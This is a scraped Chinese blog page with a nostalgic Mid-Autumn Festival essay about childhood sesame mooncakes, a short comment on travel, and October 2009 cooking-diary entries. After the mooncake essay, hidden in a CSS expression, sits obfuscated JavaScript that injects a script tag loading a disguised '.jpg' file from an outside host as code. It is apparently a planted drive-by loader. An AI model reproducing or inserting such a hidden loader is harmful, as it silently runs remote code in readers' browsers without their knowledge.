Joyce9012
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 只吃了一个月饼，月亮也没有露面，中秋节就这么过了。 节前几天，在琳琅满目的月饼堆中间，怎么也没找到那种儿时常常吃的芝麻饼。小时候，家里条件不是 很好，零食也是少得可怜，所以对中秋节期盼的热情丝毫不比春节来得差。因为中秋节的来临，可以吃那 美味的冰糖芝麻饼。还记得小学课堂上，老师问月亮像什么的时候，我脱出说：像个芝麻饼。这下好了， 惹得全班都笑翻了。 那时候的芝麻饼，包装非常简单，用牛皮纸一卷，十个一封。价钱也很公道，最初一封才一两元钱， 后来又慢慢买到五六元，前几年听说一个就要一元了。基本上是纯手工制作的芝麻月饼，大的碗口大小， 小的也有杯口大，主料面粉，馅用冰糖、金钱桔、碎花生仁、经传统的手工精心蒸、炒、烤，出炉后柔软 酥香，甜而不腻。 
 等到了中秋，赏月并不是小孩子的首选，最期待的是大人把月饼发到手上的那一刻。一手拿饼，一手 在下面接着。先掰下小小的一块深深的吸一口饼香，然后沿着边缘，小口小口的咬，深怕吃的太快。芝麻 的香味和着冰糖的甜蜜在整个口腔中弥漫开来，那种感觉，是今天什么都吃厌的人体会不到的。最后，即 便是掉下来的碎末，也要全部舔干净。 光阴流逝，儿时月饼也随之淡远。而今的月饼已成了商家的赚钱工具，应俗媚上的附属物，花色琳琅 满目，价格惊人地昂贵，过度的包装，甚至还有黄金月饼！以至有买的人不吃，吃的人不买的怪现象比比 皆是。至于赏月，大多流与形式。对朗月的景仰，强做则无味，强求就显得庸俗了。 不知道还有多少人还保留了赏月的心境！今年中秋无月，“云掩中秋月，雨洒月半灯”，真是天公不 作美呀！于是，只有在“嫦娥应悔偷灵药，碧还青天夜夜心。”“但愿人长久，千里共婵娟。”的意境中 想像着那芝麻饼的味道，渐渐进入梦乡！ 
 （图片来源自网络） ee:expression_r_r(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement_x(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" 阅读全文>> |
| 好些年前，我们的文化里有“游侠”元素。我们的诗人大漠孤烟、长河落日：有些是战乱迫的，但不乏徐霞客的豪行！而如今我们一样憧憬远天，愿“行走江湖”，但…我们的江湖掌在别人手里，我们的行走别人领着。我们是瞎游，非游侠啊！不迷外国，但的人比咱强点吧 |
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昨天犯懒，没更新菜谱，今天一并补上。反正这两天大家都应该玩得挺high，也没人关注的啦，我还是默默地更新好了。最近两天的菜都挺家常，凑合看吧。 （八）十一雕刻“食”光 之 Oct 3, 2009 今日菜谱：南地瓜炒腊肉、西芹百合炒腐竹 - 南地瓜炒腊肉：南地瓜，某人非常喜欢的东东，我倒是第一次见。话说它还没变身之前，长得就像个心里美萝卜，跟个灯笼一样的形状，上面是蒂，下面有一根须子，只是皮是泥巴色的。然后你买来之后把它脱光光就可以生吃的，甜甜的有点像马蹄的味道。我们今天是把它切片，和煮熟切片的腊肉同炒。炒熟的南地瓜（先这么叫吧）就跟梨片一样，甜甜脆脆的，很好吃。 - 西芹百合炒腐竹：这个，其实不想说做法啦，感觉没啥说的，反正就是西芹切斜刀，百合先过水，同炒，加入发好的腐竹炒熟调味，装盘即可。 （九）十一雕刻“食”光 之 Oct 4, 2009 今日菜谱：红酒牛腩、空心菜梗炒玉米 - 红酒牛腩：水烧开，加盐、油，把西兰花汆熟，摆盘。牛腩飞水，然后用红酒、姜末、酱油（蚝油也可）煨半个小时（最好是有高压锅，就不用中间再加红酒了）。起锅的时候依口味再可适当加些糖、鸡粉调味。 - 空心菜梗炒玉米：这个菜梗就是前天呛炒空心菜的时候剩下的部分，切丁备用，锅中加姜蒜粒、干辣椒爆香，空心菜梗和甜玉米粒下锅同炒，加盐、鸡粉调味即可。 好了，最后全景，大功告成——囧越做越简单，越写越简单了！不过，我们还是坚持没有菜色重复的哦~~不吃剩菜是个好习惯~~~ |
